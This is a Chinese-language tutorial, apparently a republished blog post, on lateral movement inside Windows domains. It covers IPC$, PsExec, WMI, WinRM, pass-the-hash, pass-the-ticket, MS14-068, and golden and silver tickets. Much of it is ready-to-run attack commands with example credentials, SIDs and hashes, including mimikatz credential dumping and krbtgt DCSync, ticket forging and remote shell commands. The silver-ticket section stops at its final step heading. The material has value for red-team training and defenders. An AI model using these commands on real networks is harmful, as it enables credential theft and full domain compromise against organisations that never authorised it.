1. 程式人生 > 實用技巧 >內網橫向移動思路和技巧

內網橫向移動思路和技巧

攻擊者藉助跳板機進一步入侵內網伺服器後,接著會通過各種方式來獲取目標系統許可權,獲取使用者的明文密碼或Hash值在內網中橫向移動。

最簡單的方式,就是使用明文密碼進行登入遠端伺服器。在這裡,我們來總結一下Windows橫向移動的思路與攻擊手法。


1、IPC連線

通過驗證使用者名稱和密碼建立與目標機器的IPC$會話連線,檢視遠端主機的共享資源,執行上傳/下載,建立計劃任務等操作。

net use \\<DC的IP>\ipc$ "password" /user:"username"

2、PsExec

PsExec是一個輕量級的telnet替代品,它允許您在其他系統上執行程序,併為控制檯應用程式提供完整的互動性,而無需手動安裝客戶端軟體。

下載地址:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

返回一個互動式shell:

psexec.exe \\10.1.1.1 -u administrator -p abc123! cmd.exe

同時,Metasploit下也集成了PsExec模組。

3、WMI

WMI即Windows管理規範 是使用者管理本地和遠端計算機的一種模型。通過它可以訪問、配置、管理和監視幾乎所有的 Windows 資源。

遠端建立程序:

wmic /node:10.1.1.1 /user:administrator /password:abc123! process call create "cmd.exe /c ipconfig"

4、WinRM

WinRM指的是Windows遠端管理服務,通過遠端連線winRM模組可以操作windows命令列,預設監聽埠5985(HTTP)&5986 (HTTPS),在2012以後預設開啟。

winrs -r:http://10.1.1.1:5985 -u:administrator -p:abc123! "whoami /all"

5、雜湊傳遞攻擊(Pass the hash)

獲取目標使用者的雜湊,攻擊者就可以使用使用者的雜湊來來模擬使用者,獲取使用者訪問許可權。

MSF 提供了psexec模組可以進行Hash傳遞,只使用密碼雜湊,來執行任意命令:

6、票據傳遞攻擊(Pass the ticket)

獲取域控許可權後,就可以匯出域控記憶體中的Ticket,用來登入域控。

攻擊流程:

第一步:使用mimikatz匯出記憶體中的ticket

mimikatz# sekurlsa::tickets /export

第二步:挑選一個檔案,在普通使用者的主機進行匯入。

第三步:獲取域控許可權

7、MS14-068

MS14068是一個能夠使普通使用者提權到域控許可權的許可權提升漏洞。攻擊者可以通過構造特定的請求包來達到提升許可權的目的。前提是需要在域控主機檢視是否安裝了KB3011780補丁。

攻擊流程:

第一步:利用MS14-068偽造生成TGT

MS14-068.exe -u [email protected] -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d  dc.test.com

第二步:利用mimikatz將工具得到的TGT票據寫入記憶體,建立快取證書

mimikatz#kerberos::ptc [email protected]

第三步:獲取許可權

PsExec.exe \\dc  cmd.exe

8、黃金票據(Golden Ticket)

黃金票據的原理就是用krbtgt的hash來偽造TGT,只要擁有了高許可權的TGT,就可以傳送給TGS換取任意服務的ST。

第一步:獲取krbtgt的SID和雜湊

通過mimikatz命令直接獲取krbtgt的SID值和雜湊值。

lsadump::dcsync /domain:test.com /user:krbtgt

第二步:偽造黃金票據

使用mimikatz偽造TGT

kerberos::golden /admin:administrator /domain:test.com /sid:S-1-5-21-735015318-3972860336-672499796 /krbtgt:dc717a226a07d0f6adbcd9c0337c6513 /ticket:golden.kiribi

第三步:獲取許可權

清空本地票據快取,匯入偽造的黃金票據。

kerberos::list   #檢視本地儲存的票據kerberos::purge  #清空本地票據快取kerberos::ptt golden.kiribi #匯入偽造的黃金票據 kerberos::list   #重新檢視本地儲存的票據

第四步:利用偽造的黃金票據

直接利用PsExec.exe來遠端登入和執行命令

PsExec.exe \\dc  cmd.exe

9、白銀票據(Silver Tickets)

白銀票據(Silver Tickets)的原理是偽造 ST(Service Ticket),因此無需經過KDC,直接使用使用者賬戶的hash進行加密,就可以獲取指定的訪問許可權。

偽造的票據只對部分服務起作用,可以利用的服務有以下幾種:

Service TypeService Silver Tickers
WMI HOST、RPCSS
Powershell Remoteing HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
LDAP、DCSync LDAP
Windows File Share(CIFS) CIFS
Windows Remote ServerAdministration Tools RPCSS、LDAP、CIFS

第一步:構建場景

同一個域控下的兩臺主機,使用檔案共享方式來訪問win-server的檔案,提示“拒絕訪問”。

第二步 獲取NTLM HASH

登入win-server 伺服器,使用mimikatz匯出hash

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

第三步:偽造票據

kerberos::golden /domain:test.com /sid:S-1-5-21-735015318-3972860336-672499796 /rc4:943434a10b5134c0b1ef5e8f1ef9b020 /user:test /service:cifs /target:win-server.test.com /ptt

第四步:訪問共享檔案